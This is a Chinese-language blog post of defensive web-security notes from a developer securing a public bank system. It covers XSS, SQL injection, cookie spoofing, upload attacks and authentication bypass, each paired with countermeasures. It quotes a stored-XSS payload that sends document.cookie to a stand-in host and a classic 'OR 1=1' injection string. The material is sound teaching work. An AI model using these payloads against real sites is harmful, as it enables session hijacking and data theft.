Web安全笔记
背景
多年的开发、大使参与的系统一般都是内网的，没有考虑过太多的web安全问题，前端时间参加一个银行系统的部署，要暴露在公网上，这时候就有考虑web安全的问题了。根据客户的需要个自己翻阅资料，总算搞定了这次任务，在这里总结一下。
Web系统结构
Web攻击方式
1、浏览器攻击
假冒Cookie
一般情况下，服务器将用户ID，SessionID等信息存放在Cookie中，每次请求服务器时，cookie的信息通过http头带回服务器端，如果有程序取得了他人的登陆系统后的SessionID，通过修改自己的cookie信息，可以获取和他人相同的权限操作系统。
攻击方式
- 注入的Javascript
- 使用浏览器调试工具
- 客户端病毒等
对应办法
- 尽量将Cookie设置为HttpOnly，HttpOnly的cookie客户端javascript不能访问。
隐藏变量修改
画面上javascript的运算结果存放到某个隐藏变量中，提交服务器后，服务器没有验证结果的正确性，可能会绕过某些逻辑。
攻击方式
- 注入javascript
- 使用浏览器调试工具
对应办法
- 防止javascript注入
- 关键功能不能只依靠客户端控制，服务器端也要控制。
跨站脚本攻击（XSS）
恶意的提交 Javascript 代码和Html代码，这些代码在再次呈现到画面时，如果没有进行过htmlEncode，会成为画面的一部分并成功执行.
比如搜索结果页，当用户搜索test的时候，页面会显示“搜索关键词：test”，这个时候，这里的test就很有可能会出现xss漏洞，如果该页面是直接将用户输入的东西“返回”到页面上，那么存在的xss漏洞就可以这样利用：
输入：<script>alert(1);</scrip>,那么页面就会跳出alert(1);这种XSS叫做反射性XSS。
另外一种场景，每个网站都有反馈框。允许用户反馈数据给后台。而这个后台一般都是管理员进行审核，会在管理后台展示。如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入然后这个数据“直接”返回到管理后台上，那么这个时候，管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。这种XSS由于攻击代码存储进数据库了，所以叫做存储型XSS。
对应办法
- 使用服务器端验证，过滤恶意输入。
- 数据输出前，确保用户提交的数据已被正确进行Encode编码。
2、服务器攻击
SQL注入
SQL注入是最常见的攻击方式，通过提交SQL语句片段，服务器端在拼接SQL时，错误的执行了SQL语句，造成信息泄露。
比如服务器端拼接SQL文 String s = “select * from USER where user = ‘”+ param + “’”;
正常情况拼接后的SQL为 select * from USER where user = ‘testUser’,用户在客户端输入 “CCC OR 1 = 1 –-”,SQL就变为select * from USER where user = ‘CCC OR 1 = 1 --‘，这样数据被取得，接下来的逻辑继续被执行。
攻击方式
- 提交SQL片段。
对应方法
- 使用Prepare预编译的方式执行SQL。
- 最小化数据库用户权限。
敏感信息泄露
未处理的异常直接显示到浏览器，造成敏感信息泄露。
对应办法
- 定义合理的异常处理方式
- 使用框架的Error处理功能，未处理的异常发生时，直接跳转到error画面。
上传攻击
用户恶意上传外挂、木马和其他程序等，然后执行这些文件。
保护措施
- 对上传文件进行检查、过滤，只运行合法文件。
- 最小化用户权限，对上传文件存活目录做权限控制，取消脚本的浏览权限和科执行权限。
- 对非上传目录取消写权限和浏览权限
认证逃避
某些URL页面没有出现在导航页面，当系统只对导航页面的URL进行了认证和授权，没有出现在导航中的URL有可能被用户分析出来，并直接访问。
攻击方式
- 直接地址访问
对应办法
- 对所有URL和页面进行认证和授权管理。
- 禁用URL输入方式跳转页面。
非法输入
程序只在客户端对输入进行了验证，服务器未做任何验证，恶意的程序可以绕过客户端逻辑直接向服务器提交非法输入，这很容易导致各种安全问题。
攻击方式
- 注入javascript代码
- 使用浏览器调试工具或者其他工具
对应办法
- 在服务器端对客户端传入的数据进行验证。
浙公网安备 33010602011771号